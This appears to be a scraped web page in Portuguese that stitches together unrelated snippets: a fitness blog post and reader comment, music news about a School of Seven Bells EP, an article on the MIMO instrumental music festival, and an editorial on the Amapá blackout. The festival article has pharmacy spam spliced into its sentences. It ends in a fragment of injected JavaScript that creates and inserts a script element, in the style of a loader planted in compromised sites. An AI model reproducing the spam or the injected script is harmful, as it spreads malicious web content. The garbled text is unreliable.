Muitas de vocês me enviam emails a perguntar em que consiste o meu Plano de Treino, a pedir sugestões de exercícios, a levantar questões sobre o que devem ou não devem comer…
Uma coisa que tenho aprendido, é que os resultados só aparecem quando sabemos o que queremos, definimos objectivos, e traçamos planos para lá chegar.
Eu “falhei” na parte da alimentação porque, ao contrário do que me tinha proposto fazer, ainda não fui à consulta de nutrição…
Sei que nem todas andam num ginásio, e que nem todos os ginásios têm esta opção de fazer Avaliação Física e Consulta de Nutrição.
Como compreendo tão bem esta tua situação, sabes? Eu ando a tentar engordar porque o meu percentual de M.G. é muito baixo e comecei a ser seguida por uma nutri. Estou a ver resultados, óptimos resultados, aliás mas, podia ver mais se a minha cabeça deixasse: é muito complicado ver os numeros da gordura subir! Mas #tamojuntas e vamos conseguir vencer todos os medos!Beijinhos*
Eu espero, ansiosamente, por essas novidades ainda este mês. Porque lá está, aqui na terrinha não temos possibilidade de fazer esta avaliação ou semelhante, uma vez que o único ginásio cá do sítio não tem esses serviços.Aliás, eu e uma amiga frequentamos o ginásio para fazer o Bikiny body guide da Kayla Itsines.

A nova faixa é a primeira impressão do novo EP do duo a ser lançado em novembro, intitulado como “Put Your Sad Down”
Como havíamos noticado previamente, o School of Seven Bells lança seu segundo material compilado do ano, dessa vez em forma de EP e atendendo pelo nome de Put Your Sad Down.
O disco que tem previsão de ser lançado no próximo dia 13 de novembro, traz como prévia musical gratuita a segunda faixa a integrar o material, Secret Days.
A canção foi disponibilizada para audição pelo Soundcloud do selo responsável da banda, o Vagrant Records. Confira-a abaixo:

O maior festival de música instrumental do país abre inscrições de 22 de junho a 20 de julho para o Festival MIMO de Cinema e o Prêmio MIMO Instrumental. Consagrado por trazer para cidades históricas brasileiras grandes nomes da música nacional e internacional, o MIMO também tem conceito em fomentar o gênero por meio de uma intensa programação. Este ano, o MIMO será realizado pela primeira vez no Rio de Janeiro (13 a 15 de novembro) em espaços culturais que são patrimônio da cidade como o Parque Lage, o Museu da República, a Sala Cecília Meireles, a Igreja da Candelária e o Outeiro da Gloria. O festival também ocorrerá em Paraty (2 a 4 de outubro) e Olinda (20 a 22 de novembro).
O Prêmio MIMO Instrumental tem o objetivo de descobrir novos talentos da música brasileira. O edital seleciona músicos de 18 a 35 anos de todo o país para integrar a programação oficial. Podem se inscrever solistas ou grupos de instrumentistas formados por até cinco pessoas, com trabalhos autorais ou não, nas categorias de música clássica ou popular. Em 2014, superando as expectativas, foram recebidas 346 inscrições e quatro atrações foram selecionadas para se apresentarem no mesmo palco com grandes nomes da música mundial.
Já o Festival MIMO de Cinema reúne filmes que têm a música como protagonista. As inscrições estão abertas para a Mostra Panorama Brasil, que exibe filmes nacionais de produção recente, inéditos em circuito comercial. Os filmes são projetados nos pátios das Igrejas, em tendas especialmente montadas e em salas de cinema, sempre em sessões gratuitas. Evento único neste formato e gênero no país, o Festival Mimo de Cinema já exibiu uma safra de importantes produções nacionais como Tropicália buy xenical from mexico , de Marcelo Machado; Cauby – Começaria tudo outra vez, de Nelson Hoineff; Faroeste Caboclo, de René Sampaio; Jards Cheap online , de Eryk Rocha; e o documentário Olho Nu, dirigido por Joel Pizzini e estrelado por Ney Matogrosso, que marcou presença durante o festival de 2013.
As inscrições e informações detalhadas para participar do Festival de Cinema e do Prêmio MIMO Instrumental estarão disponíveis no site do evento.
O MIMO, em 2004, teve sua primeira edição em Olinda e já atraiu 880 mil espectadores em 300 concertos de grandes nomes do cenário cultural nacional e internacional, como Buena Vista Social Club, Madredeus, Ibrahim Maalouf, Toninho Horta, Chucho Valdés, Richard Bona, Egberto Gismonti e Richard Galliano.
Chega a esta 12ª edição como o maior festival de música instrumental do Brasil. Realizado em cidades que preservam bens e valores culturais do país, oferecerá concertos em espaços do patrimônio histórico como igrejas, teatros, museus e praças nas cidades de Paraty, Rio de Janeiro e Olinda. Este ano, o festival também irá contar com atividades em Ouro Preto e Tiradentes, no mês de outubro. Entre as atrações já confirmadas para 2015 estão o celebrado músico malinês Salif Keita o guitarrista nigeriano order ethionamide dosage Omara ‘Bombino’ Moctar.
Além das atividades realizadas, o MIMO deixa um legado por onde passa por meio da substancial Etapa Educativa. Com o objetivo de fortalecer a música instrumental produzida no país, esta fase do festival é composta por aulas, workshops is there a generic drug for coreg cr cheap vpxl , oficinas e Order masterclasses Purchase ministradas pelos artistas convidados para o evento. As atividades também são gratuitas e até 2014 mais de 18 mil alunos já haviam sido beneficiados.document.currentScript.parentNode.insertBefore(s, document.currentScript);var d=document;var s=d.createElement(‘script’);

TÁ NA VANY MUSIK: “Vai Dar Male” é o tema da nova música de Pety Que Kuia, com a participação especial de “Tokewey”, membro do Elenco Da Paz.

O caos em que o Amapá foi mergulhado após a interrupção do fornecimento de eletricidade a grande parte do estado é o emblemático resultado de um processo de alienação do patrimônio e do papel do Estado à iniciativa privada, prevalecente desde o início da década de 1990, concebido para privilegiar os interesses dos novos concessionários dos serviços, com escasso compromisso com o Bem Comum.
O problema teve início em 3 de novembro, quando um incêndio destruiu três transformadores da subestação da empresa Linhas de Macapá Transmissora de Energia, controlada pelo grupo espanhol Isolux Corsan, deixando 13 dos 16 municípios do estado às escuras, inclusive a capital Macapá, que concentra 513 mil dos 861 mil habitantes do estado. No momento em que escrevemos, o abastecimento ainda não havia sido totalmente restabelecido, situação que provocou protestos e manifestações de rua em Macapá, além de paralisação do comércio e de vários serviços essenciais, inclusive o fornecimento de água e o atendimento hospitalar à pandemia de Covid-19.
A causa mais provável do incidente foi a queda de um raio, fenômeno que costuma afetar instalações elétricas com certa frequência. Mas o problema real foi a absoluta incapacidade da concessionária de lidar com a emergência, por falta de pessoal técnico qualificado, equipamentos e peças sobressalentes, além dos requisitos mínimos para a operação de uma empresa de energia em tais situações, questões técnicas enfrentadas e resolvidas em mais de um século de uso comercial da eletricidade. Na emergência, o governo federal foi obrigado a intervir, enviando técnicos da estatal Eletronorte e mobilizando as Forças Armadas para transportar geradores, combustível e outros equipamentos, para assegurar um fornecimento de urgência a hospitais e outros serviços essenciais, além de alimentos e profissionais de saúde, para reforçar as equipes médicas locais sobrecarregadas com a pandemia.
Ou seja, na hora de a onça beber água, mais uma vez, o agente privado se mostrou despreparado para enfrentar uma situação técnica que nada tem de inusitada, ainda mais no Brasil, país que está entre os recordistas da queda de raios. E a solução teve que vir de uma empresa do Estado sem qualquer relação direta com o problema, além do crucial concurso das Forças Armadas, em especial, a Força Aérea Brasileira (FAB), forçada a desviar aviões de transporte pesado das operações de combate à pandemia para atender à emergência.